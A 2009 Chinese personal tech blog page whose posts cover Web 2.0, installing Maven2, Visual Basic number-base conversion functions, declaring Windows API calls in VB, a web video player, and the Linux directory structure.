每天進(jìn)步一點(diǎn)點(diǎn)
          Welcome ,My new friends!!!
          posts - 11,comments - 1,trackbacks - 0
               摘要:       上次出去幫一個(gè)朋友的朋友給一個(gè)原有的.net項(xiàng)目添加一個(gè)新的功能模塊。結(jié)果,很傷,原因很簡(jiǎn)單,由于我對(duì)dotnet的工作機(jī)理想當(dāng)然,個(gè)人觀點(diǎn)占據(jù)上風(fēng),導(dǎo)致在初期設(shè)計(jì)的時(shí)候就走上了一天錯(cuò)誤的道路,郁悶了很長(zhǎng)一段時(shí)間,決定花一定時(shí)間去真正理解一些更底層,更基礎(chǔ)的東西。現(xiàn)在忽然發(fā)現(xiàn)自己在過去很長(zhǎng)的一段時(shí)間有些舍本逐末了,檢討~~~~ 這...  閱讀全文
          posted @ 2009-05-27 11:38 moonandsun 閱讀(427) | 評(píng)論 (0)編輯 收藏

          web2.0這個(gè)名詞不止一次的在我眼前出現(xiàn),有時(shí)候由于它的出現(xiàn)過于頻繁,以至于我還沒來得及去想,已漸漸的在內(nèi)心中接受了這個(gè)名詞。初識(shí)web2.0是在去年,具體什么時(shí)候已記不太清楚,當(dāng)初我腦海中的web2.0和我現(xiàn)在的認(rèn)識(shí)不盡相同,我當(dāng)時(shí)的認(rèn)識(shí)只是web2.0的一個(gè)方面,甚至可以說與我們所說的web2.0不相關(guān)。當(dāng)時(shí)我和我的幾個(gè)師兄在一起做一個(gè)web項(xiàng)目,當(dāng)然他們常常會(huì)提到web2.0標(biāo)準(zhǔn),起初我不是很理解,當(dāng)然現(xiàn)在也依然模糊。從網(wǎng)上在了點(diǎn)資料。網(wǎng)上如是說:WEB2.0標(biāo)準(zhǔn)不是某一個(gè)標(biāo)準(zhǔn),而是一系列標(biāo)準(zhǔn)的集合。網(wǎng)頁(yè)主要由三部分組成:結(jié)構(gòu)(Structure)、表現(xiàn)(Presentation)和行為(Behavior)。對(duì)應(yīng)的標(biāo)準(zhǔn)也分三方面:結(jié)構(gòu)化標(biāo)準(zhǔn)語言主要包括XHTML和XML,表現(xiàn)標(biāo)準(zhǔn)語言主要包括CSS,行為標(biāo)準(zhǔn)主要包括對(duì)象模型(如W3C DOM)、ECMAScript等。這些標(biāo)準(zhǔn)大部分由W3C起草和發(fā)布,也有一些是其他標(biāo)準(zhǔn)組織制訂的標(biāo)準(zhǔn),比如ECMA(European Computer Manufacturers Association)的ECMAScript標(biāo)準(zhǔn)。恍然大明白,原來自己在很長(zhǎng)一段時(shí)間都在為web2.0標(biāo)準(zhǔn)努力。不由暗暗自喜。后來,每次上網(wǎng),看雜志(尤其程序員),看報(bào)紙(電腦報(bào)),web2.0的字眼是滿天飛。既然自己要考研,并且準(zhǔn)備在計(jì)算機(jī)方面發(fā)展,我認(rèn)為有必要了解web2.0。


          web2.0是相對(duì)于web1.0來說的. 首先就易用性和交互性方面來說,Web1.0里,互聯(lián)網(wǎng)內(nèi)容是由少數(shù)編輯人員(或站長(zhǎng))定制的,比如搜狐;而在Web2.0里,每個(gè)人都是內(nèi)容的供稿者。標(biāo)由于web2.0主張多然參與,所以互聯(lián)網(wǎng)內(nèi)容也更加豐富和多樣化,同時(shí)web2.0采用了標(biāo)簽(tag),多媒體技術(shù),rss訂閱,在線協(xié)作等功能,用戶在使用互聯(lián)網(wǎng)的過程也更方便、快捷。就我的一個(gè)上網(wǎng)習(xí)慣來說,我關(guān)注最多的是IT技術(shù)方面的發(fā)展,一般我經(jīng)常去csdn,cnblogs,itpub等網(wǎng)站,以前我看文章都是一個(gè)網(wǎng)站一個(gè)網(wǎng)站的打開,有時(shí)候發(fā)現(xiàn)某個(gè)人的博客很適合自己的口味,于是想關(guān)注這位博主的最新動(dòng)態(tài),于是收藏的網(wǎng)址越來越多,每天想把自己關(guān)注的事情看一遍很費(fèi)時(shí)間。現(xiàn)在可不一樣了,發(fā)現(xiàn)自己的喜歡網(wǎng)站或博客,訂閱到自己的google reader中,每天上網(wǎng)第一件事,打開google reader,有什么最新新聞,最新動(dòng)態(tài)一目了然。都是互聯(lián)網(wǎng)提供的便利啊。

          其次,web2.0相對(duì)于web1.0來說更突出人的作用,在互聯(lián)網(wǎng)的新時(shí)代,信息是由每個(gè)人貢獻(xiàn)出來的。各個(gè)人共同組成互聯(lián)網(wǎng)信息源。Web2.0的靈魂是人。同是,為了更好的發(fā)揮“人”的作用,web2.0的形式也更多樣化,出現(xiàn)了各種各樣的互聯(lián)網(wǎng)服務(wù),例如博客、威客、播客、維基、P2P下載、社區(qū)、分享服務(wù)等等。是“人”能夠從互聯(lián)網(wǎng)上得到不同程度上的滿足。現(xiàn)如今,用戶即所謂的“人”所產(chǎn)生的信息在互聯(lián)網(wǎng)內(nèi)容中所占的比重越來越大,而且隨著web2.0的發(fā)展,這一趨勢(shì)還會(huì)不斷加強(qiáng)。web2.0為所有互聯(lián)網(wǎng)用戶提供了一個(gè)展示自我和自我實(shí)現(xiàn)的平臺(tái)。而且隨著互聯(lián)網(wǎng)技術(shù)的發(fā)展,web2.0在生活信息化、辦公信息化方面的作用也會(huì)一步步提升,是人們的生活、學(xué)習(xí)、工作更加便捷和輕松。

          總之,web2.0從某種程度上改變了人們的生活。


           

          posted @ 2009-05-20 21:14 moonandsun 閱讀(171) | 評(píng)論 (0)編輯 收藏

                  好長(zhǎng)一段時(shí)間沒有寫日志,生活在繁忙中迷茫了一段,細(xì)細(xì)想來也不知道都干了些什么,于技術(shù)方面更是毫無長(zhǎng)進(jìn),靜下心來下篇文章,安撫一下浮躁的心靈。

                  現(xiàn)在開始Maven2的學(xué)習(xí)。

                  第一步不用說,下載Maven2,以待安裝。

                  其實(shí)我們有必要了解Maven2到底是一個(gè)干么的東西,要使用它首先得知道它是干么的。

                  先看看ReadMe.txt

            What is it?
            -----------

            Maven is a software project management and comprehension tool. Based on
            the concept of a Project Object Model (POM), Maven can manage a project's
            build, reporting and documentation from a central piece of information.
           
                   now we got it .it is a tool which can manage and  comprehend  our project .

                   系統(tǒng)需求,一般我們都能達(dá)到,忽略。

           System Requirements
            -------------------

            JDK:
              1.4 or above (this is to execute Maven - it still allows you to build against 1.3
              and prior JDK's).
            Memory:
              No minimum requirement.
            Disk:
              No minimum requirement. Approximately 100MB will be used for your local repository,
              however this will vary depending on usage and can be removed and redownloaded at
              any time.
            Operating System:
              No minimum requirement. On Windows, Windows NT and above or Cygwin is required for
              the startup scripts. Tested on Windows XP, Fedora Core and Mac OS X.s
                 
                   下一步,安裝。我建議看看文檔。
           
            Installing Maven
            ----------------

            1) Unpack the archive where you would like to store the binaries, eg:

              Unix-based Operating Systems (Linux, Solaris and Mac OS X)
                tar zxvf apache-maven-2.0.x.tar.gz
              Windows 2000/XP
                unzip apache-maven-2.0.x.zip

            2) A directory called "apache-maven-2.0.x" will be created.

            3) Add the bin directory to your PATH, eg:

              Unix-based Operating Systems (Linux, Solaris and Mac OS X)
                export PATH=/usr/local/apache-maven-2.0.x/bin:$PATH
              Windows 2000/XP
                set PATH="c:\program files\apache-maven-2.0.x\bin";%PATH%

            4) Make sure JAVA_HOME is set to the location of your JDK


                   我用的是winXP,看這句就可以了。

                   set PATH="c:\program files\apache-maven-2.0.x\bin";%PATH% 

                  其中 “c:\program files\apache-maven-2.0.x\bin”為maven2解壓路徑。

                  最后一步測(cè)試一下是否成功。

            5) Run "mvn --version" to verify that it is correctly installed.

                  


                  OK,it works~~~


               














          posted @ 2009-05-05 22:10 moonandsun 閱讀(233) | 評(píng)論 (0)編輯 收藏

          十進(jìn)制,八進(jìn)制,十六進(jìn)制,二進(jìn)制相互轉(zhuǎn)換

          ' 用途:將十進(jìn)制轉(zhuǎn)化為二進(jìn)
          ' 輸入:Dec(十進(jìn)制數(shù))
          ' 輸入數(shù)據(jù)類型:Long
          ' 輸出:DEC_to_BIN(二進(jìn)制數(shù))
          ' 輸出數(shù)據(jù)類型:String
          ' 輸入的最大數(shù)為2147483647,輸出最大數(shù)為1111111111111111111111111111111(31個(gè)1)
          Public Function DEC_to_BIN(Dec As Long) As String
              DEC_to_BIN = ""
              Do While Dec > 0
                  DEC_to_BIN = Dec Mod 2 & DEC_to_BIN
                  Dec = Dec \ 2
              Loop
          End Function

          ' 用途:將二進(jìn)制轉(zhuǎn)化為十進(jìn)制
          ' 輸入:Bin(二進(jìn)制數(shù))
          ' 輸入數(shù)據(jù)類型:String
          ' 輸出:BIN_to_DEC(十進(jìn)制數(shù))
          ' 輸出數(shù)據(jù)類型:Long
          ' 輸入的最大數(shù)為1111111111111111111111111111111(31個(gè)1),輸出最大數(shù)為2147483647
          Public Function BIN_to_DEC(ByVal Bin As String) As Long
              Dim i As Long
              For i = 1 To Len(Bin)
                  BIN_to_DEC = BIN_to_DEC * 2 + Val(Mid(Bin, i, 1))
              Next i
          End Function

          ' 用途:將十六進(jìn)制轉(zhuǎn)化為二進(jìn)制
          ' 輸入:Hex(十六進(jìn)制數(shù))
          ' 輸入數(shù)據(jù)類型:String
          ' 輸出:HEX_to_BIN(二進(jìn)制數(shù))
          ' 輸出數(shù)據(jù)類型:String
          ' 輸入的最大數(shù)為2147483647個(gè)字符
          Public Function HEX_to_BIN(ByVal Hex As String) As String
              Dim i As Long
              Dim B As String
              
              Hex = UCase(Hex)
              For i = 1 To Len(Hex)
                  Select Case Mid(Hex, i, 1)
                      Case "0": B = B & "0000"
                      Case "1": B = B & "0001"
                      Case "2": B = B & "0010"
                      Case "3": B = B & "0011"
                      Case "4": B = B & "0100"
                      Case "5": B = B & "0101"
                      Case "6": B = B & "0110"
                      Case "7": B = B & "0111"
                      Case "8": B = B & "1000"
                      Case "9": B = B & "1001"
                      Case "A": B = B & "1010"
                      Case "B": B = B & "1011"
                      Case "C": B = B & "1100"
                      Case "D": B = B & "1101"
                      Case "E": B = B & "1110"
                      Case "F": B = B & "1111"
                  End Select
              Next i
              While Left(B, 1) = "0"
                  B = Right(B, Len(B) - 1)
              Wend
              HEX_to_BIN = B
          End Function

          ' 用途:將二進(jìn)制轉(zhuǎn)化為十六進(jìn)制
          ' 輸入:Bin(二進(jìn)制數(shù))
          ' 輸入數(shù)據(jù)類型:String
          ' 輸出:BIN_to_HEX(十六進(jìn)制數(shù))
          ' 輸出數(shù)據(jù)類型:String
          ' 輸入的最大數(shù)為2147483647個(gè)字符
          Public Function BIN_to_HEX(ByVal Bin As String) As String
              Dim i As Long
              Dim H As String
              If Len(Bin) Mod 4 <> 0 Then
                  Bin = String(4 - Len(Bin) Mod 4, "0") & Bin
              End If
              
              For i = 1 To Len(Bin) Step 4
                  Select Case Mid(Bin, i, 4)
                      Case "0000": H = H & "0"
                      Case "0001": H = H & "1"
                      Case "0010": H = H & "2"
                      Case "0011": H = H & "3"
                      Case "0100": H = H & "4"
                      Case "0101": H = H & "5"
                      Case "0110": H = H & "6"
                      Case "0111": H = H & "7"
                      Case "1000": H = H & "8"
                      Case "1001": H = H & "9"
                      Case "1010": H = H & "A"
                      Case "1011": H = H & "B"
                      Case "1100": H = H & "C"
                      Case "1101": H = H & "D"
                      Case "1110": H = H & "E"
                      Case "1111": H = H & "F"
                  End Select
              Next i
              While Left(H, 1) = "0"
                  H = Right(H, Len(H) - 1)
              Wend
              BIN_to_HEX = H
          End Function

          ' 用途:將十六進(jìn)制轉(zhuǎn)化為十進(jìn)制
          ' 輸入:Hex(十六進(jìn)制數(shù))
          ' 輸入數(shù)據(jù)類型:String
          ' 輸出:HEX_to_DEC(十進(jìn)制數(shù))
          ' 輸出數(shù)據(jù)類型:Long
          ' 輸入的最大數(shù)為7FFFFFFF,輸出的最大數(shù)為2147483647
          Public Function HEX_to_DEC(ByVal Hex As String) As Long
              Dim i As Long
              Dim B As Long
              
              Hex = UCase(Hex)
              For i = 1 To Len(Hex)
                  Select Case Mid(Hex, Len(Hex) - i + 1, 1)
                      Case "0": B = B + 16 ^ (i - 1) * 0
                      Case "1": B = B + 16 ^ (i - 1) * 1
                      Case "2": B = B + 16 ^ (i - 1) * 2
                      Case "3": B = B + 16 ^ (i - 1) * 3
                      Case "4": B = B + 16 ^ (i - 1) * 4
                      Case "5": B = B + 16 ^ (i - 1) * 5
                      Case "6": B = B + 16 ^ (i - 1) * 6
                      Case "7": B = B + 16 ^ (i - 1) * 7
                      Case "8": B = B + 16 ^ (i - 1) * 8
                      Case "9": B = B + 16 ^ (i - 1) * 9
                      Case "A": B = B + 16 ^ (i - 1) * 10
                      Case "B": B = B + 16 ^ (i - 1) * 11
                      Case "C": B = B + 16 ^ (i - 1) * 12
                      Case "D": B = B + 16 ^ (i - 1) * 13
                      Case "E": B = B + 16 ^ (i - 1) * 14
                      Case "F": B = B + 16 ^ (i - 1) * 15
                  End Select
              Next i
              HEX_to_DEC = B
          End Function
          ' 用途:將十進(jìn)制轉(zhuǎn)化為十六進(jìn)制
          ' 輸入:Dec(十進(jìn)制數(shù))
          ' 輸入數(shù)據(jù)類型:Long
          ' 輸出:DEC_to_HEX(十六進(jìn)制數(shù))
          ' 輸出數(shù)據(jù)類型:String
          ' 輸入的最大數(shù)為2147483647,輸出最大數(shù)為7FFFFFFF
          Public Function DEC_to_HEX(Dec As Long) As String
              Dim a As String
              DEC_to_HEX = ""
              Do While Dec > 0
                  a = CStr(Dec Mod 16)
                  Select Case a
                      Case "10": a = "A"
                      Case "11": a = "B"
                      Case "12": a = "C"
                      Case "13": a = "D"
                      Case "14": a = "E"
                      Case "15": a = "F"
                  End Select
                  DEC_to_HEX = a & DEC_to_HEX
                  Dec = Dec \ 16
              Loop
          End Function

          ' 用途:將十進(jìn)制轉(zhuǎn)化為八進(jìn)制
          ' 輸入:Dec(十進(jìn)制數(shù))
          ' 輸入數(shù)據(jù)類型:Long
          ' 輸出:DEC_to_OCT(八進(jìn)制數(shù))
          ' 輸出數(shù)據(jù)類型:String
          ' 輸入的最大數(shù)為2147483647,輸出最大數(shù)為17777777777
          Public Function DEC_to_OCT(Dec As Long) As String
              DEC_to_OCT = ""
              Do While Dec > 0
                  DEC_to_OCT = Dec Mod 8 & DEC_to_OCT
                  Dec = Dec \ 8
              Loop
          End Function

          ' 用途:將八進(jìn)制轉(zhuǎn)化為十進(jìn)制
          ' 輸入:Oct(八進(jìn)制數(shù))
          ' 輸入數(shù)據(jù)類型:String
          ' 輸出:OCT_to_DEC(十進(jìn)制數(shù))
          ' 輸出數(shù)據(jù)類型:Long
          ' 輸入的最大數(shù)為17777777777,輸出的最大數(shù)為2147483647
          Public Function OCT_to_DEC(ByVal Oct As String) As Long
              Dim i As Long
              Dim B As Long
              
              For i = 1 To Len(Oct)
                  Select Case Mid(Oct, Len(Oct) - i + 1, 1)
                      Case "0": B = B + 8 ^ (i - 1) * 0
                      Case "1": B = B + 8 ^ (i - 1) * 1
                      Case "2": B = B + 8 ^ (i - 1) * 2
                      Case "3": B = B + 8 ^ (i - 1) * 3
                      Case "4": B = B + 8 ^ (i - 1) * 4
                      Case "5": B = B + 8 ^ (i - 1) * 5
                      Case "6": B = B + 8 ^ (i - 1) * 6
                      Case "7": B = B + 8 ^ (i - 1) * 7
                  End Select
              Next i
              OCT_to_DEC = B
          End Function

          ' 用途:將二進(jìn)制轉(zhuǎn)化為八進(jìn)制
          ' 輸入:Bin(二進(jìn)制數(shù))
          ' 輸入數(shù)據(jù)類型:String
          ' 輸出:BIN_to_OCT(八進(jìn)制數(shù))
          ' 輸出數(shù)據(jù)類型:String
          ' 輸入的最大數(shù)為2147483647個(gè)字符
          Public Function BIN_to_OCT(ByVal Bin As String) As String
              Dim i As Long
              Dim H As String
              If Len(Bin) Mod 3 <> 0 Then
                  Bin = String(3 - Len(Bin) Mod 3, "0") & Bin
              End If
              
              For i = 1 To Len(Bin) Step 3
                  Select Case Mid(Bin, i, 3)
                      Case "000": H = H & "0"
                      Case "001": H = H & "1"
                      Case "010": H = H & "2"
                      Case "011": H = H & "3"
                      Case "100": H = H & "4"
                      Case "101": H = H & "5"
                      Case "110": H = H & "6"
                      Case "111": H = H & "7"
                  End Select
              Next i
              While Left(H, 1) = "0"
                  H = Right(H, Len(H) - 1)
              Wend
              BIN_to_OCT = H
          End Function

          ' 用途:將八進(jìn)制轉(zhuǎn)化為二進(jìn)制
          ' 輸入:Oct(八進(jìn)制數(shù))
          ' 輸入數(shù)據(jù)類型:String
          ' 輸出:OCT_to_BIN(二進(jìn)制數(shù))
          ' 輸出數(shù)據(jù)類型:String
          ' 輸入的最大數(shù)為2147483647個(gè)字符
          Public Function OCT_to_BIN(ByVal Oct As String) As String
              Dim i As Long
              Dim B As String
              
              For i = 1 To Len(Oct)
                  Select Case Mid(Oct, i, 1)
                      Case "0": B = B & "000"
                      Case "1": B = B & "001"
                      Case "2": B = B & "010"
                      Case "3": B = B & "011"
                      Case "4": B = B & "100"
                      Case "5": B = B & "101"
                      Case "6": B = B & "110"
                      Case "7": B = B & "111"
                  End Select
              Next i
              While Left(B, 1) = "0"
                  B = Right(B, Len(B) - 1)
              Wend
              OCT_to_BIN = B
          End Function

          ' 用途:將八進(jìn)制轉(zhuǎn)化為十六進(jìn)制
          ' 輸入:Oct(八進(jìn)制數(shù))
          ' 輸入數(shù)據(jù)類型:String
          ' 輸出:OCT_to_HEX(十六進(jìn)制數(shù))
          ' 輸出數(shù)據(jù)類型:String
          ' 輸入的最大數(shù)為2147483647個(gè)字符
          Public Function OCT_to_HEX(ByVal Oct As String) As String
              Dim Bin As String
              Bin = OCT_to_BIN(Oct)
              OCT_to_HEX = BIN_to_HEX(Bin)
          End Function

          ' 用途:將十六進(jìn)制轉(zhuǎn)化為八進(jìn)制
          ' 輸入:Hex(十六進(jìn)制數(shù))
          ' 輸入數(shù)據(jù)類型:String
          ' 輸出:HEX_to_OCT(八進(jìn)制數(shù))
          ' 輸出數(shù)據(jù)類型:String
          ' 輸入的最大數(shù)為2147483647個(gè)字符
          Public Function HEX_to_OCT(ByVal Hex As String) As String
              Dim Bin As String
              Hex = UCase(Hex)
              Bin = HEX_to_BIN(Hex)
              HEX_to_OCT = BIN_to_OCT(Bin)
          End Function


          VB自帶函數(shù):
          十進(jìn)制轉(zhuǎn)八進(jìn)制:Oct(num)
          十六進(jìn)制轉(zhuǎn)八進(jìn)制:oct("&H" & num)
          十進(jìn)制轉(zhuǎn)十六進(jìn)制:hex(num)
          八進(jìn)制轉(zhuǎn)十六進(jìn)制:hex("&O" & num)

          十六進(jìn)制轉(zhuǎn)換為十進(jìn)制
              Dim str As String                     
              str = Text2.Text
              Text10.Text = CLng("&H" & str)

          文章出處:http://blog.programfan.com/article.asp?id=11903
          感謝作者的無私奉獻(xiàn)、、、、

          posted @ 2009-03-29 10:57 moonandsun 閱讀(1471) | 評(píng)論 (0)編輯 收藏
          一、在VB中聲明API函數(shù)有兩種方法:如果我們只在某個(gè)窗體中使用API函數(shù),我們可以在窗體代碼的General部分聲明它:


            聲明的語法是:

            Private Declare Function ...

            Private Declare Sub.....

            這里必須采用Private聲明,因?yàn)檫@個(gè)API函數(shù)只能被一個(gè)窗體內(nèi)的程序所調(diào)用。


            如果我們的程序有多個(gè)窗體構(gòu)成,而且我們需要在多個(gè)窗體中使用同一個(gè)API函數(shù),就需要在模塊中聲明了。

            先添加一個(gè)模塊(如圖示),

            然后采用如下語法聲明:

            Public Declare Function....

            Public Declare Sub....

            Public聲明的含義是把API函數(shù)作為一個(gè)公共函數(shù)或過程,在一個(gè)工程中的任何位置(包括所有的窗體和模塊)都能直接調(diào)用它。 聲明完畢我們就能在程序中使用此API函數(shù)了。


            二、可采用以下幾種方式使用API函數(shù),以SetWindowPos函數(shù)為例:

            (1)忽略函數(shù)返回值的調(diào)用:

              SetWindowPos Form1.hWnd, -2 ,0 ,0 ,0, 0, 3

            注意此時(shí)函數(shù)的參數(shù)是不加括號(hào)的。

            (2)Call方法調(diào)用:

              Call SetWindowPos(Form1.hWnd, -2, 0, 0, 0, 3)

            注意這里需要加上括號(hào),但我們不取回函數(shù)的返回值。

            (3)取得函數(shù)返回值的調(diào)用:

              MyLng = SetWindowPos(Form1.hWnd, -2, 0, 0, 0, 3)

            此時(shí)需要加上括號(hào),而且我們必須事先定義一個(gè)變量(變量的類型與函數(shù)返回值類型相同)來存儲(chǔ)API函數(shù)的返回值。


            三、幾個(gè)問題的說明:


            (1)聲明中的Lib 和 Alias 是怎么回事

            一般情況下WIN32API函數(shù)總是包含在WINDOWS系統(tǒng)自帶的或是其它公司提供的動(dòng)態(tài)連接庫(kù)DLL中,而Declare語句中的Lib關(guān)鍵字就用來指定DLL(動(dòng)態(tài)連接庫(kù))文件的路徑,這樣VB才能找到這個(gè)DLL文件,然后才能使用其中的API函數(shù)。如果我們只是列出DLL文件名而不指出其完整的路徑的話,VB會(huì)自動(dòng)到.EXE文件所在目錄、當(dāng)前工作目錄、WINDOWS\SYSTEM目錄、WINDOWS目錄下搜尋這個(gè)DLL文件。所以如果所要使用DLL文件不在上述幾個(gè)目錄下的話,我們應(yīng)該指明其完整路徑。

            Alias用于指定API函數(shù)的別名,如果我們調(diào)用的API函數(shù)要使用字符串(參數(shù)中包含String型)的話,Alias關(guān)鍵字是必須的。這是因?yàn)樵贏NSI和Unicode字符集中同一API函數(shù)的名稱可能是不一樣的,為了保證不出現(xiàn)聲明錯(cuò)誤,我們使用Alias關(guān)鍵字指出API函數(shù)的別名,一般來說在WIN9X平臺(tái)下我們把API函數(shù)名后加一個(gè)大寫A作為別名即可。


            (2)常見的API參數(shù)類型的說明

            API函數(shù)的參數(shù)中最常見的是長(zhǎng)整Long型數(shù)據(jù)類型,例如API中的句柄、一些特定的常量、函數(shù)的返回值都是此類型 的值;另外幾種常見的參數(shù)類型有:整型Integer、Byte型、String型等。


            (3)聲明中的ByVal是作什么用的

            這跟VB的參數(shù)傳遞方式有關(guān),在默認(rèn)情況下VB是通過地址傳遞方式傳遞函數(shù)的參數(shù)、而有些API函數(shù)要求必須采用傳值方式來傳遞函數(shù)參數(shù)(這兩種參數(shù)傳遞方式是不同的,前者傳遞的是一個(gè)指針,而后者要求是參數(shù)真實(shí)的值)。這樣就會(huì)發(fā)生錯(cuò)誤,解決的辦法是在API函數(shù)參數(shù)聲明的前面加上ByVal關(guān)鍵字,這樣VB就采用傳值方式傳遞參數(shù)了。


            (4)怎樣得到完整的API函數(shù)聲明

            VB自帶了API文本查看器API TEXT VIEWER,我們可以在其中找到API函數(shù)的完整聲明,然后把它粘貼到程序中即可。

          原文地址:http://www.enet.com.cn/article/2004/0312/A20040312293927.shtml
          posted @ 2009-03-28 16:46 moonandsun 閱讀(166) | 評(píng)論 (0)編輯 收藏

                  
                  現(xiàn)行的網(wǎng)絡(luò)上,視頻播放器很多(嵌在網(wǎng)頁(yè)中那種),flv播放器更是不少,但支持rtmp協(xié)議的播放器可是不好找啊。雖然也有,但樣式單一,好看的不多。
                  一直以來苦苦尋覓一個(gè)漂亮的flv視頻播放器(嵌在網(wǎng)頁(yè)中那種)。好幾個(gè)月過去了,一直沒有結(jié)果。后來就把這事放到一邊去了,沒有再去理會(huì)。
                 后來一直就用一個(gè)叫Vcastr2.0 的播放器,播放器為黑色,整體感覺還是不錯(cuò)的,但可供定制的選項(xiàng)不是很多。
                 再后來我發(fā)現(xiàn)了JW player ,官方網(wǎng)站:http://www.longtailvideo.com/  ,它的可定制性比較強(qiáng),甚至在官網(wǎng)上我們可以直接設(shè)計(jì)出自己喜歡的播放器樣式,但無論你怎樣設(shè)置整體外形還是不變的(其實(shí)我看不好的就是這個(gè)播放器的外形)。所以這中播放器在那是我是看不上的。
                  時(shí)代在發(fā)展啊,當(dāng)然JW player也一天天悄無聲息的進(jìn)步著,今天我無意瀏覽到了JW player官網(wǎng),幾個(gè)月不見,小子出息里,它既然也能夠換皮膚了,官方為我們提供了各種各樣的皮膚下載:http://www.longtailvideo.com/addons/skins 。
                  

          posted @ 2009-03-12 11:50 moonandsun 閱讀(406) | 評(píng)論 (1)編輯 收藏
          linux下的文件結(jié)構(gòu)及其作用:
          /bin 二進(jìn)制可執(zhí)行命令
          /dev 設(shè)備特殊文件
          /etc 系統(tǒng)管理和配置文件
          /etc/rc.d 啟動(dòng)的配置文件和腳本
          /home 用戶主目錄的基點(diǎn),比如用戶user的主目錄就是/home/user,可以用~user表示
          /lib 標(biāo)準(zhǔn)程序設(shè)計(jì)庫(kù),又叫動(dòng)態(tài)鏈接共享庫(kù),作用類似windows里的.dll文件
          /sbin 系統(tǒng)管理命令,這里存放的是系統(tǒng)管理員使用的管理程序
          /tmp 公用的臨時(shí)文件存儲(chǔ)點(diǎn)
          /root 系統(tǒng)管理員的主目錄(呵呵,特權(quán)階級(jí))
          /mnt 系統(tǒng)提供這個(gè)目錄是讓用戶臨時(shí)掛載其他的文件系統(tǒng)。
          /lost+found 這個(gè)目錄平時(shí)是空的,系統(tǒng)非正常關(guān)機(jī)而留下“無家可歸”的文件(windows下叫什么.chk)就在這里
          /proc 虛擬的目錄,是系統(tǒng)內(nèi)存的映射。可直接訪問這個(gè)目錄來獲取系統(tǒng)信息。
          /var 某些大文件的溢出區(qū),比方說各種服務(wù)的日志文件
          /usr 最龐大的目錄,要用到的應(yīng)用程序和文件幾乎都在這個(gè)目錄。其中包含:
          /usr/x11r6 存放x window的目錄
          /usr/bin 眾多的應(yīng)用程序
          /usr/sbin 超級(jí)用戶的一些管理程序
          /usr/doc linux文檔
          /usr/include linux下開發(fā)和編譯應(yīng)用程序所需要的頭文件
          /usr/lib 常用的動(dòng)態(tài)鏈接庫(kù)和軟件包的配置文件
          /usr/man 幫助文檔
          /usr/src 源代碼,linux內(nèi)核的源代碼就放在/usr/src/linux里
          /usr/local/bin 本地增加的命令
          /usr/local/lib 本地增加的庫(kù)

          通常情況下,根文件系統(tǒng)所占空間一般應(yīng)該比較小,因?yàn)槠渲械慕^大部分文件都不需要
          經(jīng)常改動(dòng),而且包括嚴(yán)格的文件和一個(gè)小的不經(jīng)常改變的文件系統(tǒng)不容易損壞。
          除了可能的一個(gè)叫/ v m l i n u z標(biāo)準(zhǔn)的系統(tǒng)引導(dǎo)映像之外,根目錄一般不含任何文件。所有
          其他文件在根文件系統(tǒng)的子目錄中。
          1. /bin目錄
          / b i n目錄包含了引導(dǎo)啟動(dòng)所需的命令或普通用戶可能用的命令(可能在引導(dǎo)啟動(dòng)后)。這些
          命令都是二進(jìn)制文件的可執(zhí)行程序( b i n是b i n a r y - -二進(jìn)制的簡(jiǎn)稱),多是系統(tǒng)中重要的系統(tǒng)文件。
          2. /sbin目錄
          / s b i n目錄類似/bin ,也用于存儲(chǔ)二進(jìn)制文件。因?yàn)槠渲械拇蟛糠治募嗍窍到y(tǒng)管理員使
          用的基本的系統(tǒng)程序,所以雖然普通用戶必要且允許時(shí)可以使用,但一般不給普通用戶使用。
          3. /etc目錄
          / e t c目錄存放著各種系統(tǒng)配置文件,其中包括了用戶信息文件/ e t c / p a s s w d,系統(tǒng)初始化文
          件/ e t c / r c等。l i n u x正是*這些文件才得以正常地運(yùn)行。
          4. /root目錄
          /root 目錄是超級(jí)用戶的目錄。
          5. /lib目錄
          / l i b目錄是根文件系統(tǒng)上的程序所需的共享庫(kù),存放了根文件系統(tǒng)程序運(yùn)行所需的共享文
          件。這些文件包含了可被許多程序共享的代碼,以避免每個(gè)程序都包含有相同的子程序的副
          本,故可以使得可執(zhí)行文件變得更小,節(jié)省空間。
          6. /lib/modules 目錄
          /lib/modules 目錄包含系統(tǒng)核心可加載各種模塊,尤其是那些在恢復(fù)損壞的系統(tǒng)時(shí)重新引
          導(dǎo)系統(tǒng)所需的模塊(例如網(wǎng)絡(luò)和文件系統(tǒng)驅(qū)動(dòng))。
          7. /dev目錄
          / d e v目錄存放了設(shè)備文件,即設(shè)備驅(qū)動(dòng)程序,用戶通過這些文件訪問外部設(shè)備。比如,用
          戶可以通過訪問/ d e v / m o u s e來訪問鼠標(biāo)的輸入,就像訪問其他文件一樣。
          8. /tmp目錄
          /tmp 目錄存放程序在運(yùn)行時(shí)產(chǎn)生的信息和數(shù)據(jù)。但在引導(dǎo)啟動(dòng)后,運(yùn)行的程序最好使用
          / v a r / t m p來代替/tmp ,因?yàn)榍罢呖赡軗碛幸粋€(gè)更大的磁盤空間。
          9. /boot目錄
          / b o o t目錄存放引導(dǎo)加載器(bootstrap loader)使用的文件,如l i l o,核心映像也經(jīng)常放在這里,
          而不是放在根目錄中。但是如果有許多核心映像,這個(gè)目錄就可能變得很大,這時(shí)使用單獨(dú)的
          文件系統(tǒng)會(huì)更好一些。還有一點(diǎn)要注意的是,要確保核心映像必須在i d e硬盤的前1 0 2 4柱面內(nèi)。
          10. /mnt目錄
          / m n t目錄是系統(tǒng)管理員臨時(shí)安裝( m o u n t )文件系統(tǒng)的安裝點(diǎn)。程序并不自動(dòng)支持安裝到
          /mnt 。/mnt 下面可以分為許多子目錄,例如/mnt/dosa 可能是使用m s d o s文件系統(tǒng)的軟驅(qū),
          而/mnt/exta 可能是使用e x t 2文件系統(tǒng)的軟驅(qū),/mnt/cdrom 光驅(qū)等等。
          11. /proc, /usr,/var,/home目錄
          其他文件系統(tǒng)的安裝點(diǎn)。



          下面詳細(xì)介紹;

          /etc文件系統(tǒng)
          /etc 目錄包含各種系統(tǒng)配置文件,下面說明其中的一些。其他的你應(yīng)該知道它們屬于哪個(gè)
          程序,并閱讀該程序的m a n頁(yè)。許多網(wǎng)絡(luò)配置文件也在/etc 中。
          1. /etc/rc或/etc/rc.d或/etc/rc?.d
          啟動(dòng)、或改變運(yùn)行級(jí)時(shí)運(yùn)行的腳本或腳本的目錄。
          2. /etc/passwd
          用戶數(shù)據(jù)庫(kù),其中的域給出了用戶名、真實(shí)姓名、用戶起始目錄、加密口令和用戶的其
          他信息。
          3. /etc/fdprm
